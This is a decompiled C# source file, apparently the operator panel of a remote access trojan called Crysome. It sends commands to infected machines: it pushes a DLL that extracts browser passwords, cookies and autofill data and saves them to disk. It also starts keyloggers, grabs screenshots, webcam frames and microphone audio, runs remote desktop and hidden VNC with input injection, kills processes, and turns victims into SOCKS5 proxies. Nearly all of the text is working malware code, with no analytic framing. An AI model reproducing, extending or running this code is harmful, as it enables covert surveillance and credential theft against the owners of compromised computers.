					//IL_009e: Unknown result type (might be due to invalid IL or missing references)
					//IL_00a8: Expected O, but got Unknown
					//IL_0028: Unknown result type (might be due to invalid IL or missing references)
					//IL_0032: Expected O, but got Unknown
					try
					{
						int num;
						while (state.Running && (num = stream.Read(buf, 0, buf.Length)) > 0)
						{
							byte[] array = new byte[num];
							Array.Copy(buf, array, num);
							try
							{
								owner.SendPacket((IPacket)new ReverseProxyDataPacket(connId, array));
							}
							catch
							{
								break;
							}
						}
					}
					catch
					{
					}
					finally
					{
						state.Connections.TryRemove(connId, out var _);
						try
						{
							owner.SendPacket((IPacket)new ReverseProxyEndPacket(connId));
						}
						catch
						{
						}
						try
						{
							browser.Close();
						}
						catch
						{
						}
					}
				});
			}
		}
		catch
		{
		}
	}

	private void HandleReverseProxyData(CrysomeClient sender, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		//IL_007a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0084: Expected O, but got Unknown
		ReverseProxyDataPacket val = (ReverseProxyDataPacket)packet;
		if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryGetValue(val.ConnectionId, out var value2))
		{
			return;
		}
		try
		{
			NetworkStream stream = value2.GetStream();
			if (val.Data != null && val.Data.Length != 0)
			{
				stream.Write(val.Data, 0, val.Data.Length);
			}
		}
		catch
		{
			value.Connections.TryRemove(val.ConnectionId, out var _);
			try
			{
				sender.SendPacket((IPacket)new ReverseProxyEndPacket(val.ConnectionId));
			}
			catch
			{
			}
			try
			{
				value2.Close();
			}
			catch
			{
			}
		}
	}

	private void HandleReverseProxyEnd(CrysomeClient sender, IPacket packet)
	{
		//IL_0001: Unknown result type (might be due to invalid IL or missing references)
		//IL_0007: Expected O, but got Unknown
		ReverseProxyEndPacket val = (ReverseProxyEndPacket)packet;
		if (!_reverseProxyState.TryGetValue(sender, out var value) || !value.Connections.TryRemove(val.ConnectionId, out var value2))
		{
			return;
		}
		try
		{
			value2.Close();
		}
		catch
		{
		}
	}

	private static string ParsePortFromProxyMessage(string message)
	{
		if (string.IsNullOrEmpty(message))
		{
			return "?";
		}
		Match match = Regex.Match(message, "port\\s+(\\d+)", RegexOptions.IgnoreCase);
		if (!match.Success)
		{
			return "?";
		}
		return match.Groups[1].Value;
	}

	private void ShowProxyResultsModal()
	{
		DispatcherTimer proxyModalTimer = _proxyModalTimer;
		if (proxyModalTimer != null)
		{
			proxyModalTimer.Stop();
		}
		_proxyModalTimer = null;
		_proxyStartCount = 0;
		if (_proxyResultsForModal.Count == 0)
		{
			return;
		}
		List<(string Address, string Port)> copy = new List<(string, string)>(_proxyResultsForModal);
		_proxyResultsForModal.Clear();
		string title = ((copy.Count == 1) ? "SOCKS5 Proxy ready" : "SOCKS5 Proxies ready");
		StringBuilder stringBuilder = new StringBuilder();
		stringBuilder.AppendLine("Use these addresses in your browser or proxy settings (SOCKS5).");
		stringBuilder.AppendLine("Use 127.0.0.1:port on this machine (where Crysome Server runs).");
		stringBuilder.AppendLine();
		foreach (var (text, text2) in copy)
		{
			stringBuilder.AppendLine(text + ":" + text2);
		}
		string body = stringBuilder.ToString().TrimEnd();
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			Window obj = new Window
			{
				Title = title,
				Width = 420.0,
				MinWidth = 360.0,
				Height = ((copy.Count == 1) ? 220 : Math.Min(400, 180 + copy.Count * 28)),
				WindowStartupLocation = WindowStartupLocation.CenterOwner,
				Owner = Application.Current.MainWindow,
				ResizeMode = ResizeMode.CanResize,
				Background = Brushes.Black
			};
			StackPanel stackPanel = new StackPanel
			{
				Margin = new Thickness(16.0)
			};
			stackPanel.Children.Add(new TextBlock
			{
				Text = body,
				TextWrapping = TextWrapping.Wrap,
				Foreground = Brushes.White,
				FontFamily = new FontFamily("Consolas"),
				FontSize = 13.0,
				Margin = new Thickness(0.0, 0.0, 0.0, 12.0)
			});
			Button button = new Button
			{
				Content = "Copy to clipboard",
				Width = 140.0,
				HorizontalAlignment = HorizontalAlignment.Left
			};
			button.Click += delegate
			{
				try
				{
					Clipboard.SetText(body);
				}
				catch
				{
				}
			};
			stackPanel.Children.Add(button);
			obj.Content = stackPanel;
			obj.Show();
		}, Array.Empty<object>());
	}

	private void HandleProxyStatus(object sender, IPacket packet)
	{
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_0020: Expected O, but got Unknown
		ProxyStatusResponsePacket resp = (ProxyStatusResponsePacket)packet;
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => (object)c.Owner == (object)(CrysomeClient)sender);
			if (clientInfo != null)
			{
				clientInfo.ProxyActive = resp.Active;
				Log("Proxy on " + clientInfo.Address + ": " + resp.Message, "PROXY");
				if (resp.Active && _proxyStartCount > 0)
				{
					string item = ParsePortFromProxyMessage(resp.Message);
					_proxyResultsForModal.Add((clientInfo.Address, item));
					if (_proxyResultsForModal.Count >= _proxyStartCount)
					{
						DispatcherTimer proxyModalTimer = _proxyModalTimer;
						if (proxyModalTimer != null)
						{
							proxyModalTimer.Stop();
						}
						_proxyModalTimer = null;
						_proxyStartCount = 0;
						ShowProxyResultsModal();
					}
				}
			}
		}, Array.Empty<object>());
	}

	private void DoRestart()
	{
		//IL_002c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0036: Expected O, but got Unknown
		ClientInfo clientInfo = SelectedClient ?? _selectedClients.FirstOrDefault();
		if (clientInfo?.Owner == null)
		{
			return;
		}
		try
		{
			clientInfo.Owner.SendPacket((IPacket)new RestartRequestPacket());
		}
		catch
		{
		}
	}

	private void DoTakeScreenshot()
	{
		//IL_0084: Unknown result type (might be due to invalid IL or missing references)
		//IL_008e: Expected O, but got Unknown
		List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
		if (list == null || list.Count == 0)
		{
			EnqueueStatus("Select one or more clients");
			return;
		}
		foreach (ClientInfo item in list.Where((ClientInfo x) => x?.Owner != null))
		{
			try
			{
				item.Owner.SendPacket((IPacket)new TakeScreenshotRequestPacket());
				Log("Screenshot requested: " + item.Address, "SYS");
			}
			catch (Exception ex)
			{
				Log("Screenshot request failed " + item.Address + ": " + ex.Message, "SYS");
			}
		}
		if (list.Count > 0)
		{
			EnqueueStatus("Screenshot requested from " + list.Count + " client(s)");
		}
	}

	private void HandleScreenshotResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_000e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0014: Expected O, but got Unknown
		TakeScreenshotResponsePacket val = (TakeScreenshotResponsePacket)packet;
		ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
		string title = ((clientInfo != null) ? ("Screenshot — " + clientInfo.Address) : ("Screenshot — " + (sender.RemoteAddress?.Address?.ToString() ?? "?")));
		byte[] data = ((val != null) ? val.ImageData : null);
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			ScreenshotViewerWindow screenshotViewerWindow = new ScreenshotViewerWindow(title, data);
			((Window)(object)screenshotViewerWindow).Owner = Application.Current.MainWindow;
			((Window)(object)screenshotViewerWindow).Show();
		}, Array.Empty<object>());
	}

	private static byte[] LoadAbeDecryptDllBytes()
	{
		try
		{
			Assembly executingAssembly = Assembly.GetExecutingAssembly();
			string text = executingAssembly.GetManifestResourceNames().FirstOrDefault((string n) => n.EndsWith("abe_decrypt.dll", StringComparison.OrdinalIgnoreCase));
			if (text != null)
			{
				using Stream stream = executingAssembly.GetManifestResourceStream(text);
				if (stream != null && stream.Length > 0)
				{
					byte[] array = new byte[stream.Length];
					if (stream.Read(array, 0, array.Length) == array.Length)
					{
						return array;
					}
				}
			}
			string baseDirectory = AppDomain.CurrentDomain.BaseDirectory;
			string[] array2 = new string[3]
			{
				Path.Combine(baseDirectory, "abe_decrypt.dll"),
				Path.Combine(baseDirectory, "Resources", "abe_decrypt.dll"),
				Path.Combine(baseDirectory, "..", "Resources", "abe_decrypt.dll")
			};
			foreach (string path in array2)
			{
				if (File.Exists(path))
				{
					return File.ReadAllBytes(path);
				}
			}
		}
		catch
		{
		}
		return null;
	}

	private void DoRequestCredentials(byte requestType)
	{
		//IL_00ce: Unknown result type (might be due to invalid IL or missing references)
		//IL_00d5: Expected O, but got Unknown
		List<ClientInfo> list = ((_selectedClients.Count > 0) ? _selectedClients : ((SelectedClient != null) ? new List<ClientInfo> { SelectedClient } : null));
		if (list == null || list.Count == 0)
		{
			EnqueueStatus("Select one or more clients");
			return;
		}
		byte[] array = LoadAbeDecryptDllBytes();
		if (array == null || array.Length == 0)
		{
			EnqueueStatus("abe_decrypt.dll not found. Place it in Crysome.Server output folder, Resources subfolder, or add to Resources and rebuild.");
			return;
		}
		List<ClientInfo> list2 = list.Where((ClientInfo x) => x?.Owner != null).ToList();
		int count = list2.Count;
		foreach (ClientInfo c in list2)
		{
			try
			{
				FtSender val = new FtSender(c.Owner, "abe_decrypt.dll", array);
				byte rt = requestType;
				string addr = c.Address;
				val.OnDone = delegate(uint id, bool ok, string msg)
				{
					//IL_0040: Unknown result type (might be due to invalid IL or missing references)
					//IL_004a: Expected O, but got Unknown
					_activeSenders.TryRemove(id, out var _);
					if (ok)
					{
						try
						{
							c.Owner.SendPacket((IPacket)new RequestCredentialsPacket(rt, (byte[])null));
							((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
							{
								Log("DLL delivered, credentials requested: " + addr, "SYS");
							}, Array.Empty<object>());
							return;
						}
						catch (Exception ex2)
						{
							Exception ex3 = ex2;
							Exception ex4 = ex3;
							((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
							{
								Log("Credential request failed " + addr + ": " + ex4.Message, "SYS");
							}, Array.Empty<object>());
							return;
						}
					}
					((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
					{
						Log("DLL transfer failed " + addr + ": " + msg, "SYS");
					}, Array.Empty<object>());
				};
				_activeSenders[val.TransferId] = val;
				val.Start();
				Log("Sending DLL to " + addr + " (" + array.Length + " B, " + val.TotalChunks + " chunks)...", "SYS");
			}
			catch (Exception ex)
			{
				Log("Credentials request failed " + c.Address + ": " + ex.Message, "SYS");
			}
		}
		EnqueueStatus("Credentials requested from " + count + " client(s). DLL transferring...");
	}

	private void HandleCredentialsResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_000e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0014: Expected O, but got Unknown
		CredentialsResponsePacket val = (CredentialsResponsePacket)packet;
		ClientInfo clientInfo = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
		string title = ((clientInfo != null) ? ("Credentials — " + clientInfo.Address) : ("Credentials — " + (sender.RemoteAddress?.Address?.ToString() ?? "?")));
		string err = ((val != null) ? val.ErrorMessage : null) ?? "";
		string pw = ((val != null) ? val.PasswordsJson : null) ?? "";
		string ck = ((val != null) ? val.CookiesJson : null) ?? "";
		string af = ((val != null) ? val.AutofillsJson : null) ?? "";
		try
		{
			string text = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "credentials");
			Directory.CreateDirectory(text);
			string text2 = string.Concat((clientInfo?.Address ?? "unknown").Where((char c) => !Enumerable.Contains(Path.GetInvalidFileNameChars(), c)));
			string text3 = DateTime.Now.ToString("yyyyMMdd_HHmmss");
			if (!string.IsNullOrWhiteSpace(pw))
			{
				File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_passwords.json"), pw);
			}
			if (!string.IsNullOrWhiteSpace(ck))
			{
				File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_cookies.json"), ck);
			}
			if (!string.IsNullOrWhiteSpace(af))
			{
				File.WriteAllText(Path.Combine(text, text2 + "_" + text3 + "_autofills.json"), af);
			}
		}
		catch
		{
		}
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			CredentialsViewerWindow credentialsViewerWindow = new CredentialsViewerWindow(title, pw, ck, af, string.IsNullOrEmpty(err) ? null : err);
			((Window)(object)credentialsViewerWindow).Owner = Application.Current.MainWindow;
			((Window)(object)credentialsViewerWindow).Show();
		}, Array.Empty<object>());
	}

	private void HandleProcessListResponse(CrysomeClient sender, IPacket packet)
	{
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0034: Expected O, but got Unknown
		if (_processListCallbacks.TryGetValue(sender, out var cb))
		{
			_processListCallbacks.Remove(sender);
			GetProcessListResponsePacket resp = (GetProcessListResponsePacket)packet;
			((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				cb(resp);
			}, Array.Empty<object>());
		}
	}

	public void RequestProcessList(ClientInfo client, Action<GetProcessListResponsePacket> callback)
	{
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0034: Expected O, but got Unknown
		if (client?.Owner == null || callback == null)
		{
			return;
		}
		_processListCallbacks[client.Owner] = callback;
		try
		{
			client.Owner.SendPacket((IPacket)new GetProcessListRequestPacket());
		}
		catch
		{
			_processListCallbacks.Remove(client.Owner);
		}
	}

	public void KillProcessOnClient(ClientInfo client, int pid)
	{
		//IL_0017: Unknown result type (might be due to invalid IL or missing references)
		//IL_0021: Expected O, but got Unknown
		if (client?.Owner == null)
		{
			return;
		}
		try
		{
			client.Owner.SendPacket((IPacket)new KillProcessRequestPacket(pid));
		}
		catch
		{
		}
	}

	public void RequestAudio(ClientInfo client, int seconds, Action<byte[]> onReceived)
	{
		RequestAudio(client, seconds, 0, onReceived);
	}

	public void RequestAudio(ClientInfo client, int seconds, int deviceIndex, Action<byte[]> onReceived)
	{
		//IL_0079: Unknown result type (might be due to invalid IL or missing references)
		//IL_0083: Expected O, but got Unknown
		if (client?.Owner == null || onReceived == null)
		{
			return;
		}
		Log("RequestAudio SENT to " + client.Address + " sec=" + seconds + " idx=" + deviceIndex, "MIC");
		_audioDataCallbacks[client.Owner] = onReceived;
		try
		{
			client.Owner.SendPacket((IPacket)new RequestAudioPacket(seconds, deviceIndex));
		}
		catch (Exception ex)
		{
			Log("RequestAudio SEND FAIL: " + ex.Message, "MIC");
			_audioDataCallbacks.Remove(client.Owner);
		}
	}

	public void RequestCameraFrame(ClientInfo client, int deviceIndex, Action<byte[]> onReceived)
	{
		//IL_0052: Unknown result type (might be due to invalid IL or missing references)
		//IL_005c: Expected O, but got Unknown
		if (client?.Owner == null || onReceived == null)
		{
			return;
		}
		Log("RequestCameraFrame SENT to " + client.Address + " idx=" + deviceIndex, "CAM");
		_cameraFrameCallbacks[client.Owner] = onReceived;
		try
		{
			client.Owner.SendPacket((IPacket)new RequestCameraFramePacket(deviceIndex));
		}
		catch (Exception ex)
		{
			Log("RequestCameraFrame SEND FAIL: " + ex.Message, "CAM");
			_cameraFrameCallbacks.Remove(client.Owner);
		}
	}

	public void GetCameraDevices(ClientInfo client, Action<string[]> onReceived)
	{
		//IL_0070: Unknown result type (might be due to invalid IL or missing references)
		//IL_0075: Unknown result type (might be due to invalid IL or missing references)
		//IL_0087: Expected O, but got Unknown
		//IL_00af: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b9: Expected O, but got Unknown
		if (client?.Owner == null || onReceived == null)
		{
			return;
		}
		CrysomeClient owner = client.Owner;
		Log("GetCameraDevices SENT to " + client.Address, "CAM");
		_cameraDevicesCallbacks[owner] = onReceived;
		DispatcherTimer timeout = new DispatcherTimer
		{
			Interval = TimeSpan.FromSeconds(8L)
		};
		timeout.Tick += delegate
		{
			timeout.Stop();
			if (_cameraDevicesCallbacks.TryGetValue(owner, out var cb))
			{
				_cameraDevicesCallbacks.Remove(owner);
				Log("GetCameraDevices TIMEOUT (8s) " + client.Address, "CAM");
				Application current = Application.Current;
				if (current != null)
				{
					Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
					if (dispatcher != null)
					{
						dispatcher.BeginInvoke((Delegate)(Action)delegate
						{
							cb(new string[0]);
						}, Array.Empty<object>());
					}
				}
			}
		};
		timeout.Start();
		try
		{
			owner.SendPacket((IPacket)new GetCameraDevicesPacket());
		}
		catch (Exception ex)
		{
			Log("GetCameraDevices SEND FAIL: " + ex.Message, "CAM");
			_cameraDevicesCallbacks.Remove(owner);
			timeout.Stop();
		}
	}

	public void GetAudioDevices(ClientInfo client, Action<string[]> onReceived)
	{
		//IL_0070: Unknown result type (might be due to invalid IL or missing references)
		//IL_0075: Unknown result type (might be due to invalid IL or missing references)
		//IL_0087: Expected O, but got Unknown
		//IL_00af: Unknown result type (might be due to invalid IL or missing references)
		//IL_00b9: Expected O, but got Unknown
		if (client?.Owner == null || onReceived == null)
		{
			return;
		}
		CrysomeClient owner = client.Owner;
		Log("GetAudioDevices SENT to " + client.Address, "MIC");
		_audioDevicesCallbacks[owner] = onReceived;
		DispatcherTimer timeout = new DispatcherTimer
		{
			Interval = TimeSpan.FromSeconds(8L)
		};
		timeout.Tick += delegate
		{
			timeout.Stop();
			if (_audioDevicesCallbacks.TryGetValue(owner, out var cb))
			{
				_audioDevicesCallbacks.Remove(owner);
				Log("GetAudioDevices TIMEOUT (8s) " + client.Address, "MIC");
				Application current = Application.Current;
				if (current != null)
				{
					Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
					if (dispatcher != null)
					{
						dispatcher.BeginInvoke((Delegate)(Action)delegate
						{
							cb(new string[0]);
						}, Array.Empty<object>());
					}
				}
			}
		};
		timeout.Start();
		try
		{
			owner.SendPacket((IPacket)new GetAudioDevicesPacket());
		}
		catch (Exception ex)
		{
			Log("GetAudioDevices SEND FAIL: " + ex.Message, "MIC");
			_audioDevicesCallbacks.Remove(owner);
			timeout.Stop();
		}
	}

	public void StartKeylogger(ClientInfo client, Action<string> onLog)
	{
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0034: Expected O, but got Unknown
		if (client?.Owner == null || onLog == null)
		{
			return;
		}
		_keyloggerCallbacks[client.Owner] = onLog;
		try
		{
			client.Owner.SendPacket((IPacket)new StartKeyloggerPacket());
		}
		catch
		{
			_keyloggerCallbacks.Remove(client.Owner);
		}
	}

	public void StopKeylogger(ClientInfo client)
	{
		//IL_0027: Unknown result type (might be due to invalid IL or missing references)
		//IL_0031: Expected O, but got Unknown
		if (client?.Owner == null)
		{
			return;
		}
		_keyloggerCallbacks.Remove(client.Owner);
		try
		{
			client.Owner.SendPacket((IPacket)new StopKeyloggerPacket());
		}
		catch
		{
		}
	}

	public void RegisterChatHandler(ClientInfo client, Action<string, string> onMessage)
	{
		if (client?.Owner != null && onMessage != null)
		{
			_chatHandlers[client.Owner] = onMessage;
		}
	}

	public void UnregisterChatHandler(ClientInfo client)
	{
		if (client?.Owner != null)
		{
			_chatHandlers.Remove(client.Owner);
		}
	}

	public void SendChatMessage(ClientInfo client, string message)
	{
		//IL_001f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0029: Expected O, but got Unknown
		if (client?.Owner == null || string.IsNullOrEmpty(message))
		{
			return;
		}
		try
		{
			client.Owner.SendPacket((IPacket)new ChatMessagePacket(message));
		}
		catch
		{
		}
	}

	public void StartAudioStream(ClientInfo client, int deviceIndex, Action<byte[]> onChunk)
	{
		//IL_0052: Unknown result type (might be due to invalid IL or missing references)
		//IL_005c: Expected O, but got Unknown
		if (client?.Owner == null || onChunk == null)
		{
			return;
		}
		Log("StartAudioStream SENT to " + client.Address + " idx=" + deviceIndex, "MIC");
		_audioStreamHandlers[client.Owner] = onChunk;
		try
		{
			client.Owner.SendPacket((IPacket)new StartAudioStreamPacket(deviceIndex));
		}
		catch (Exception ex)
		{
			Log("StartAudioStream SEND FAIL: " + ex.Message, "MIC");
			_audioStreamHandlers.Remove(client.Owner);
		}
	}

	public void StopAudioStream(ClientInfo client)
	{
		//IL_0027: Unknown result type (might be due to invalid IL or missing references)
		//IL_0031: Expected O, but got Unknown
		if (client?.Owner == null)
		{
			return;
		}
		_audioStreamHandlers.Remove(client.Owner);
		try
		{
			client.Owner.SendPacket((IPacket)new StopAudioStreamPacket());
		}
		catch
		{
		}
	}

	public void StartRemoteDesktop(ClientInfo client, int intervalMs, int screenIndex, byte captureMode, Action<byte[]> onFrame, Action<int> onQualityChange = null)
	{
		//IL_0074: Unknown result type (might be due to invalid IL or missing references)
		//IL_0079: Unknown result type (might be due to invalid IL or missing references)
		//IL_0080: Unknown result type (might be due to invalid IL or missing references)
		//IL_0087: Unknown result type (might be due to invalid IL or missing references)
		//IL_008e: Unknown result type (might be due to invalid IL or missing references)
		//IL_009a: Expected O, but got Unknown
		if (client?.Owner == null || onFrame == null)
		{
			return;
		}
		_desktopFrameHandlers[client.Owner] = onFrame;
		if (onQualityChange != null)
		{
			_rdpQualityCallbacks[client.Owner] = onQualityChange;
		}
		RdpQualityState state = new RdpQualityState
		{
			IntervalMs = intervalMs
		};
		_rdpQualityStates[client.Owner] = state;
		StartRemoteDesktopPacket pkt = new StartRemoteDesktopPacket
		{
			IntervalMs = intervalMs,
			ScreenIndex = screenIndex,
			UdpPort = 0,
			SessionToken = 0u,
			CaptureMode = captureMode
		};
		try
		{
			client.Owner.SendPacket((IPacket)(object)pkt);
		}
		catch
		{
			_desktopFrameHandlers.Remove(client.Owner);
			_rdpQualityCallbacks.Remove(client.Owner);
			_rdpQualityStates.Remove(client.Owner);
			return;
		}
		CrysomeClient owner = client.Owner;
		Task.Run(delegate
		{
			for (int i = 1; i <= 3; i++)
			{
				Thread.Sleep(5000);
				if (!_desktopFrameHandlers.ContainsKey(owner) || state.LastFrameTime != DateTime.MinValue)
				{
					break;
				}
				try
				{
					owner.SendPacket((IPacket)(object)pkt);
				}
				catch
				{
					break;
				}
			}
		});
	}

	public void GetScreens(ClientInfo client, Action<ScreensResponsePacket> onReceived)
	{
		//IL_003e: Unknown result type (might be due to invalid IL or missing references)
		//IL_0043: Unknown result type (might be due to invalid IL or missing references)
		//IL_0055: Expected O, but got Unknown
		//IL_007d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0087: Expected O, but got Unknown
		if (client?.Owner == null || onReceived == null)
		{
			return;
		}
		CrysomeClient owner = client.Owner;
		_screensCallbacks[owner] = onReceived;
		DispatcherTimer timeout = new DispatcherTimer
		{
			Interval = TimeSpan.FromSeconds(8L)
		};
		timeout.Tick += delegate
		{
			timeout.Stop();
			if (_screensCallbacks.TryGetValue(owner, out var cb))
			{
				_screensCallbacks.Remove(owner);
				Application current = Application.Current;
				if (current != null)
				{
					Dispatcher dispatcher = ((DispatcherObject)current).Dispatcher;
					if (dispatcher != null)
					{
						dispatcher.BeginInvoke((Delegate)(Action)delegate
						{
							//IL_0006: Unknown result type (might be due to invalid IL or missing references)
							//IL_0010: Expected O, but got Unknown
							cb(new ScreensResponsePacket());
						}, Array.Empty<object>());
					}
				}
			}
		};
		timeout.Start();
		try
		{
			owner.SendPacket((IPacket)new GetScreensRequestPacket());
		}
		catch
		{
			_screensCallbacks.Remove(owner);
			timeout.Stop();
		}
	}

	public void StopRemoteDesktop(ClientInfo client)
	{
		//IL_0063: Unknown result type (might be due to invalid IL or missing references)
		//IL_006d: Expected O, but got Unknown
		if (client?.Owner == null)
		{
			return;
		}
		_desktopFrameHandlers.Remove(client.Owner);
		_rdpQualityCallbacks.Remove(client.Owner);
		_rdpQualityStates.Remove(client.Owner);
		server?.UnregisterUdpSession(client.Owner);
		try
		{
			client.Owner.SendPacket((IPacket)new StopRemoteDesktopPacket());
		}
		catch
		{
		}
	}

	public List<CrysomeClient> GetClientSnapshot()
	{
		return server?.GetClientSnapshot() ?? new List<CrysomeClient>();
	}

	public void UnregisterDesktopFrames(ClientInfo client)
	{
		if (client?.Owner != null)
		{
			_desktopFrameHandlers.Remove(client.Owner);
			_rdpQualityCallbacks.Remove(client.Owner);
			_rdpQualityStates.Remove(client.Owner);
		}
	}

	public void SendRemoteInput(ClientInfo client, byte kind, int x, int y, int buttonOrKey)
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0014: Unknown result type (might be due to invalid IL or missing references)
		//IL_001b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0022: Unknown result type (might be due to invalid IL or missing references)
		//IL_002a: Unknown result type (might be due to invalid IL or missing references)
		//IL_0033: Expected O, but got Unknown
		if (client?.Owner == null)
		{
			return;
		}
		RemoteInputPacket val = new RemoteInputPacket
		{
			Kind = kind,
			X = x,
			Y = y,
			ButtonOrKey = buttonOrKey
		};
		try
		{
			if (kind == 0)
			{
				client.Owner.SendPacketUnreliable((IPacket)(object)val);
			}
			else
			{
				client.Owner.SendPacket((IPacket)(object)val);
			}
		}
		catch
		{
		}
	}

	public void StartHvnc(ClientInfo client, int quality, int intervalMs, Action<byte[]> onFrame)
	{
		//IL_002c: Unknown result type (might be due to invalid IL or missing references)
		//IL_0031: Unknown result type (might be due to invalid IL or missing references)
		//IL_0038: Unknown result type (might be due to invalid IL or missing references)
		//IL_0044: Expected O, but got Unknown
		if (client?.Owner == null || onFrame == null)
		{
			return;
		}
		_hvncFrameHandlers[client.Owner] = onFrame;
		try
		{
			client.Owner.SendPacket((IPacket)new StartHvncPacket
			{
				Quality = quality,
				IntervalMs = intervalMs
			});
		}
		catch
		{
			_hvncFrameHandlers.Remove(client.Owner);
		}
	}

	public void StopHvnc(ClientInfo client)
	{
		//IL_0027: Unknown result type (might be due to invalid IL or missing references)
		//IL_0031: Expected O, but got Unknown
		if (client?.Owner == null)
		{
			return;
		}
		_hvncFrameHandlers.Remove(client.Owner);
		try
		{
			client.Owner.SendPacket((IPacket)new StopHvncPacket());
		}
		catch
		{
		}
	}

	public void UnregisterHvncFrames(ClientInfo client)
	{
		if (client?.Owner != null)
		{
			_hvncFrameHandlers.Remove(client.Owner);
		}
	}

	public void SendHvncInput(ClientInfo client, int msg, int wParam, int lParam)
	{
		//IL_000f: Unknown result type (might be due to invalid IL or missing references)
		//IL_0014: Unknown result type (might be due to invalid IL or missing references)
		//IL_001b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0022: Unknown result type (might be due to invalid IL or missing references)
		//IL_002b: Expected O, but got Unknown
		if (client?.Owner == null)
		{
			return;
		}
		HvncInputPacket val = new HvncInputPacket
		{
			Msg = msg,
			WParam = wParam,
			LParam = lParam
		};
		try
		{
			if (msg == 512)
			{
				client.Owner.SendPacketUnreliable((IPacket)(object)val);
			}
			else
			{
				client.Owner.SendPacket((IPacket)(object)val);
			}
		}
		catch
		{
		}
	}

	public void SendHvncRunRequest(ClientInfo client, byte action, string path = null)
	{
		//IL_0016: Unknown result type (might be due to invalid IL or missing references)
		//IL_001b: Unknown result type (might be due to invalid IL or missing references)
		//IL_0022: Unknown result type (might be due to invalid IL or missing references)
		//IL_0037: Expected O, but got Unknown
		if (client?.Owner == null)
		{
			return;
		}
		try
		{
			client.Owner.SendPacket((IPacket)new HvncRunRequestPacket
			{
				Action = action,
				Path = (path ?? "")
			});
		}
		catch
		{
		}
	}

	private void HandleHvncFrame(CrysomeClient sender, IPacket packet)
	{
		//IL_001d: Unknown result type (might be due to invalid IL or missing references)
		//IL_0027: Expected O, but got Unknown
		if (_hvncFrameHandlers.TryGetValue(sender, out var cb))
		{
			HvncFramePacket p = (HvncFramePacket)packet;
			((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
			{
				cb(p.ImageData ?? new byte[0]);
			}, Array.Empty<object>());
		}
	}

	private void HandleAudioData(CrysomeClient sender, IPacket packet)
	{
		//IL_0094: Unknown result type (might be due to invalid IL or missing references)
		//IL_009e: Expected O, but got Unknown
		string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
		Log("AudioData RECV from " + text, "MIC");
		if (!_audioDataCallbacks.TryGetValue(sender, out var cb))
		{
			Log("AudioData no callback for " + text, "MIC");
			return;
		}
		_audioDataCallbacks.Remove(sender);
		AudioDataPacket p = (AudioDataPacket)packet;
		byte[] wavData = p.WavData;
		Log("AudioData " + ((wavData != null) ? wavData.Length : 0) + " bytes from " + text, "MIC");
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			cb(p.WavData ?? new byte[0]);
		}, Array.Empty<object>());
	}

	private void HandleCameraFrame(CrysomeClient sender, IPacket packet)
	{
		//IL_0094: Unknown result type (might be due to invalid IL or missing references)
		//IL_009e: Expected O, but got Unknown
		string text = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender)?.Address ?? "?";
		Log("CameraFrame RECV from " + text, "CAM");
		if (!_cameraFrameCallbacks.TryGetValue(sender, out var cb))
		{
			Log("CameraFrame no callback for " + text, "CAM");
			return;
		}
		_cameraFrameCallbacks.Remove(sender);
		CameraFramePacket p = (CameraFramePacket)packet;
		byte[] jpegData = p.JpegData;
		Log("CameraFrame " + ((jpegData != null) ? jpegData.Length : 0) + " bytes from " + text, "CAM");
		((DispatcherObject)Application.Current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
		{
			cb(p.JpegData ?? new byte[0]);
		}, Array.Empty<object>());
	}

	private void HandleKeylogData(CrysomeClient sender, IPacket packet)
	{
		//IL_0082: Unknown result type (might be due to invalid IL or missing references)
		//IL_008c: Expected O, but got Unknown
		ClientInfo info = allClients.FirstOrDefault((ClientInfo c) => c.Owner == sender);
		if (info != null && !info.KeyloggerActive)
		{
			Application current = Application.Current;
			if (current != null)
			{
				((DispatcherObject)current).Dispatcher.BeginInvoke((Delegate)(Action)delegate
				{
					info.KeyloggerActive = true;
				}, Array.Empty<object>());
			}
		}
